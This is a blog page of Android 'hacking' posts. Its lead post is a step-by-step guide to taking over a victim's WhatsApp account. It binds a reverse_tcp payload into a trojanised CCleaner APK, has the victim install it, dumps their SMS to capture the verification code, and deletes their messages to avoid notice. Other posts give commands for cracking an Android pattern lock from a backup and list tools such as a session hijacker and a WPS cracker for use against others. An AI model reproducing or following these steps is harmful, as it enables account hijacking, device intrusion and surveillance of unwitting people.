Showing posts with label Android tricks. Show all posts
Showing posts with label Android tricks. Show all posts

Sunday, 2 July 2017

How to Hack whatsapp 2017 method | with proof

Hack whatsapp account 2017 method


Note: Guys it’s not a direct a method to hack Whatsapp, or it’s not a single click hack. It may be work or not everything depends on your social skills and luck.

Whatsapp Hacking step by step Tutorial


Step 1: Firstly, you need an app so victim can download and install that without any doubt and we will bind our payload file with it. So select an app like free version of any paid app or hacked game. I am simply using ccleaner.

Step 2: Our next step will be downloading/ cloning the software is Spade. To download it, go to the terminal in your Kali and type:

 git clone https://github.com/suraj-root/spade.git


In few moments software will be installed to your kali.

Step 3: Now next step is binding the payload with this app, in my case it is ccleaner. Type following command:

./spade.py /root/Desktop/ccleaner.apk

 

Note: My app is in Desktop, if your app is in other directory, specify a path.

Step 4: After that you need specify payload, lhost, lport. For payload select option 3, i.e. reverse_tcp.
 Now lhost and lport :
LHOST: is the ip address of your machine. If you are going through LAN set your local ip, found by typing "ifconfig" in terminal.


 LPORT: the port that meterpreter will connect back to your mechine. It can be any port expects 80.

Note:If you are hacking over WAN, your LHOST is your public ip address which can be easily found through Google. Again for WAN you need port forwarding and set it as 
LPORT.
In my case:
Lhost > 192.168.0.104
Lport>4444


Step 5: After it has all been done successfully, it will ask us to set the listener. Type’y’ here now a new apk will be saved in spade folder, named originalfinal.apk



Step 6: Now finally convince victim to download and install the infected apk (originalfina.apk), as soon as victim opens the apk, you will get a session (what we needed).

Install whatsapp on your phone and put victim’s mobile number, whatsapp will try to verify number through sms.

Step 7: To get that sms, type command 
  dump_sms

a file containing that sms will be created in spade directory, containing all of the person's sms. Use this otp to start whatsapp.



Now here are some points you must remember or you can face in real life.

#1 There are 100% chances that your victim will notice that someone using his whatsapp account as he will asked to verify whatsapp whenever he try to open his whatsapp. To prevent this situation, get the MAC address of victim and spoof your MAC address. In order to spoofing your phone must be rooted. Please go through Google about spoofing MAC address.

#2 He would also able to notice sms he received from whatsapp, to solve this problem you need to delete his sms to do that type

delete data/data/com/android.provider.telephony/database/mmsms.db

But this command only works if victim’s phone is rooted.

It will work if everything goes in your favor. Of course it’s not one of the best and easiest methods. But it helpful in understanding of exploit and mixing things to perform desired attack.

Please comment for any queries.
continue reading How to Hack whatsapp 2017 method | with proof

Wednesday, 1 February 2017

Crack Android Pattern Lock using kali | no root required 2017

How to crack Pattern locks without Data loss



Hi guys, from last my post we are using kali linux for hacking. Let's analyze the power of kali linux through cracking the pattern lock of android device. Although there are many methods and many tools (for various platform like window, mac or linux) are available but there basic requirements is, victim's phone must be rooted or debugging should be on. Which is not making any sense; there are rarest chances that your victims would have a rooted phone with debugging on. Another simplest method is flashing new rom, that’s mean forget the data... But luckily kali give us the power to crack pattern lock without root. I will show you two methods for cracking android screen lock.

Requirements:
Kali linux (If you don’t know how to make live usbof kali linux read it here)
Victim's android device
Memory card


Method 1: Pattern locks Cracking with Android Pattern Lock Cracker


Ok before you check and try, let's see which tool of tool box (kali linux) help us. Android pattern can be hacked with help of Android Pattern Lock Cracker, this is a little tool to crack the pattern lock on Android devices.

How does the pattern lock works?

The pattern lock is the SHA1 hash sequence of digits (0-8) with length from 3 (4 since Android 2.3.3) to 8.
Since Android does not allows the pattern to repeat "balls" and it does not use a salt when computing the SHA1 hash, it really takes a very short period of time to crack the hash and get the pattern.
The gesture board is a 3x3 matrix, and can be represented as follows (each digit represents a "ball"):

 

So if you set the pattern lock to 0 -> 1 -> 2 -> 5 -> 4, the SHA1 hash will be output of SHA1("\x00\x01\x02\x05\x04"), and that is the hash to be cracked by this tool.

Where can I find the hash or pattern lock file?

The hash (pattern lock file) is stored at "/data/system/gesture.key".

How to Hack Android Pattern in unrooted device

1. First reset Android device in Recovery Mode, if you don't know please Google it.

2. Now create backup user data from Recovery Mode. Remember a memory card is required to create a file. This backup will be stored as userdata_xxxx_xxxxxx.backup on memory card.

3. Now run you live kali linux and copy the userdata_xxxx_xxxxxx.backup from memory card to Desktop.

4. Now you have to convert and extract userdata_xxxx_xxxxxx.backup file. To do this type following commands:

cd ~/Desktop/

dd if=userdata_xxxx_xxxxxx.backup bs=512 skip=1 of=backup.tar.gz


*You may need to replace the userdata_xxxx_xxxxxx.backup with your file name.

mkdir backup


tar -xvf backup.tar.gz -C ~/Desktop/backup


5. Now you need Android Pattern Lock Cracker tool in your device, to get it, open your terminal and type:
git clone https://github.com/sch3m4/androidpatternlock
6. Now let's try to hack the pattern lock using following commands:

python ~/Desktop/androidpatternlock/aplc.py ~/Desktop/backup/system/gesture.key


If you are not comfortable with command lines, i have another method for you, with GUI.

Method 2: Pattern locks cracking with AndroidGestureCrack.

It is another tool for kali linux, but this time you don't need to face commands line work on GUI. Let's first understand how it works?
AndroidGestureCrack is a Java tool to crack the Gesture Screenlock pattern of an Android Phone. It has been tested on Android API Level 15 and up, but should work with lower versions as well. As long as you extract the gesture.key file this tool will work
The key is a SHA1 hash of the sequence of bytes for the gesture pattern. The hash is unsalted and hence is easier to crack.

First follow same 4 step as mentioned in method 1 (I am not gonna right them again).  Now you will have backup folder in your desktop. Now open follow this path "Desktop/backup/data/system/” where you can search for “gesture.key” and paste it to Desktop. You will need this gesture.key later (at step 5).

1. Run kali on your pc and change your directory to desktop by typing in terminal:

cd Desktop


*cd is use to change the directory. You can learn other commands from google.
 
  
2. Now you need to AndroidGestureCarck in your kali, type following command.

git clone https://github.com/AnimeshShaw/AndroidGestureCrack


3. Now you need to unzip the AndroidGestureCarck.zip file by following command.
unzip AndroidGestureCarck-master.zip

4. Now again change your directory to AndroidGestureCarck-master/jar as follows.
cd AndroidGestureCarck-master/jar


5. Now Download Dictionary and unzip it. You will get an AndroidGestureSHA1.txt file. Move it Desktop.

6. To crack android pattern, type in terminal:
java -jar AndroidGestureCrack-2.1-Beta.jar --gui


A GUI box should be opened. 



Now you just only need to provide the gesture.key file (at your desktop) and a dictionary text file (at your desktop). (Remember you have downloaded it in step 1).

             

Or you can also type following command instead of GUI.

java -jar AndroidGestureCrack-2.1-Beta.jar gesture.key AndroidGestureSHA1.txt


Let me know if you face any problem.
continue reading Crack Android Pattern Lock using kali | no root required 2017

Sunday, 2 October 2016

How to use whatsapp as an Assistant

How to Use WhatsApp As Search Engine/Assistant

How to use whatsapp as search engine

Hi guys as everyone know whatsapp is king of instant messaging apps, no matter how many competitors growing every day, whatsapp still famous among people. Google allo is fresh competitor, having lots of new feature. One of the most attractive features is Google assistant which can do many things for you like hotel booking, Goolge searching etc. So I thought, let’s add a new feature on whatsapp, without adding any extra app/software on your phone. Do you know you can use whatsapp as search engine or as your assistant? It’s time to make your whatsapp app as an assistant. This method is very short and simple, no technical detail required. Let’s see how it works?

How To Activate WhatsApp Search Engine Bot On Your Phone?

Step 1.  I don’t need to say that whatsapp must be installed in your phone. First create a new contact with any name using this number “8015984514”
How to use whatsapp as search engine trick image
Step 2. Open whatsapp and create a “New group” using this number. Name this group with Assistant or Search Engine. Since it is your private assistant so don’t add other people on this group.
How to use whatsapp as search engine trick image

How to use whatsapp as search engine trick image
Step 3. Once the group has been created, your Search engine/assistant is ready. You will also receive a detail message from assistant.
 How to Search: Now you just need to search for your queries in the Group itself simply enter the message “Search (Your Topic) and then hit the send button.
You can also use following codes to improve your search result.

Codes:

·     For Wikipedia information, type Wiki SEARCHTERM and send to the group.
·   To join the English news channel, type +NEWS and send it to the group (To unsubscribe type -NEWS )
·   You can know the meaning of a word, type +DICT WORD.
·    To join Football or Cricket channel, type +CRICKETor +FOOTBALL.
·   To play a GK quiz, simply send +GK to the group.
Don’t forget to share.


continue reading How to use whatsapp as an Assistant

Wednesday, 6 April 2016

Best hacking app of 2016 [New!]

New hacking Apps of 2016

New hacking app of 2016 image
New hacking app of 2016 image

Hi guys,
I found that there are most reader using Android phone so they want to learn hacking from android instead of a window pc or kali linux. So I thought to share some hacking tools actually some Penetration tools because without any tool you cannot think about hacking. Wait a minute did I say penetration tools? Yes! Penetration tool, this not created by direct any hacker, they were created by security development companies to test the security level. But we can use these tools for our benefit since not every device is secured. Before we begin lets know what is Penetration?

Penetration means penetrate any security system and this is mainly used to check the vulnerability of the bug in the network security. And mainly these testings is done with some security pro tools.
But today there are many  android hacking apps developed that can be used as the pentesting tool. These tools will be really helpful and can be used by a limited knowledge about security and its vulnerability. I have already posted some hacking tool so today take a look at these new tools below.

Best hacking Apps of 2016

So here we have Penetration Testing apps that are meant for hacking, hackers, security researchers. Use these apps according to your knowledge.

Fing

New hacking app of 2016 image

This is a professional App for network analysis. A simple and intuitive interface helps you evaluate security levels, detect intruders and resolve network issues. It helps you to find out which devices are connected to your Wi-Fi network, in just a few seconds.

 Features of Fing: 

·         Checks the availability of Internet connection
·         Works also with hosts outside your local network
·         Tracks when a device has gone online or offline
·         Launch Apps for specific ports, such as Browser, SSH, FTP
·         Displays NetBIOS names and properties
·         Displays Bonjour info and properties
·         Supports identification by IP address for bridged networks
·         Sort by IP, MAC, Names, Vendor, State, Last Change.
·         Free of charge, no banner Ads
·         Available for iPhone, iPad and iPod Touch with retina and standard displays.

Hackode

New hacking app of 2016 image

Hackode : The hacker’s Toolbox is an application for penetration tester, Ethical hackers, IT administrator and Cyber security professional to perform different tasks like reconnaissance, scanning performing exploits etc.

Features of Hackode Is It Contains Tools Like:

·         Reconnaissance
·         Google Hacking
·         Google Dorks
·         Whois
·         Scanning
·         Ping
·         Traceroute
·         DNS lookup

zANTI

New hacking app of 2016 image

zANTI is a comprehensive network diagnostics toolkit that enables complex audits and penetration tests at the push of a button. It provides cloud-based reporting that walks you through simple guidelines to ensure network safety.

Features of zANTI 

·Uncover authentication, backdoor, and brute-force attacks, DNS and protocol-specific attacks and rogue access points using a comprehensive range of fully customizable network reconnaissance scans.
·Enable Security Officers to easily evaluate an organization’s network and automatically diagnose vulnerabilities within mobile devices or websites using a host of penetration tests
· Highlight security gaps in your existing network and mobile defenses and report the results with advanced cloud-based reporting through zConsole

4 Network Discovery

New hacking app of 2016 image

This is quite simple and cool apps that don’t require root access to perform its functioning. So you can use this cool app in your android to keep the record of all the network details on which your android is currently connected.

FaceNiff 2.4 final- Session Hijacker for Android

New hacking app of 2016 image

Your Facebook account is at risk, just like a Firesheep (for firefox hacking) there is a FaceNiff for hijacking the session of famous social networking websites includes facebook and twitter. FaceNiff is developed by Bartosz Ponurkiewicz who created Firesheep before but faceniff is for android OS.

Features of FaceNiff

·         Sniff and intercept web session profiles over the WiFi
·         Possible to hijack sessions only when WiFi is not using EAP
·         FaceNiff works on WPA2

6 WPScan

New hacking app of 2016 image

This is a cool one and really great penetration testing tool. This app is basically designed for testing the vulnerability of WordPress. And with this, you can find the vulnerability of the site being running on WordPress or simply you can try to hack a website hosted in wordpress.

WPS Connect

New hacking app of 2016 image

The another good app and one of my favorite app that can be used to test the Wifi network flaws and using this app you can actually break into a security of wifi and can easily access that wifi by cracking the key from this excellent app that runs on rooted android.

Features of WPS Connect

· With this app, you’ll connect to WiFi networks which have WPS protocol enabled
· WPS Connect is focused on verifying if your router is vulnerable to a default PIN.
·WPS Connect lets you check if your router is vulnerable or not and act accordingly.

Nmap for Android

New hacking app of 2016 image

Nmap (network mapper) is one the best among different network scanner (port finder) tool, Nmap mainly developed for Unix OS but now it is available on Windows and Android as well. Nmap for android is a network mapping app for your phone! Once your scan finish you can e-mail the results. This application is not an official app but it looks good.

Features of Nmap

·   Nmap works on both rooted and nonrooted phones
·    It helps you to discover hosts, protocols, open ports, services and its configuration and vulnerabilities on networks.
·    Nmap binaries are transferred using HTTPS by default.
·   Frontend supports all known Android architectures: arm, MIPS and x86.

Penetrate Pro

New hacking app of 2016 image

This is cool wifi penetration testing android app. The main working of this app is for testing WAP/WEP keys for wireless routers to that your android being connected. This app is also considered as harmful by some antiviruses but it doesn’t harm your device.

Features Of Penetrate Pro:

· Routers based on Thomson: Thomson, Infinitum, BBox, Dmax, Orange, SpeedTouch,
·    BigPond, O2Wireless, Otenet.
·    DLink
·     Eircom
·     Pirelli Discus
·     Verizon FiOS (only some routers)
·     Fastweb (Pirelli & Telsey)
·    Jazztel_XXXX and WLAN_XXXX

10 Network Spoofer

New hacking app of 2016 image

This app is one of the best security testing tools for your android. And this can be used in order to change websites on other people’s computers from your Android-based smartphones. Although this is not exactly a penetration testing tool, it can still show you how easy or difficult it is to hack a particular network with your android.

Features of Network Spoofer

·   Let’s you change websites on other people’s computers from an Android phone.
·  Connects to wifi quickly, you can use the spoof option to make full use of this app.
·  Make websites experience gravity
·  Redirect websites to other pages
·  Delete random words from websites
·   Wobble all pictures / graphics around a bit


11 IP Tools: Network Utilities

New hacking app of 2016 image

IP Tools is a powerful network utility suite for analyzing and adjusting networks. It allows quick detecting any computer network problems and boosting network performance. This is a must-have app for IT specialists and network administrators. The app combines the most popular network utilities usually found in Windows or Linux. They will help you fix a network problem easily or optimize the network when you are hundreds kilometers away

Features of IP- Tools: 

·         Ping
·         LAN scanner
·         DNS lookup
·         Port scanner
·         Whois – provides information about a website and its owner
·         Router setup directly from your smartphone
·         Traceroute
·         Connection log
·         IP Calculator
·         IP & Host Converter

12 Packet Capture

New hacking app of 2016 image

Packet capture/Network traffic sniffer app with SSL decryption. Not that feature rich yet, but it’s a powerful debugging tool especially when developing an app. It Capture network packets and record them.

Features of Packet Capture: 

·         Capture network packets and record them.
·         SSL decryption using man-in-the-middle technique.
·         No root required.
·         Easy to use.
·         Show packet in either hex or text.


I am just providing you hacking tools, it depends upon you, why and where you use them? Use you creative mind explore some new idea, and add this tool in your idea.
continue reading Best hacking app of 2016 [New!]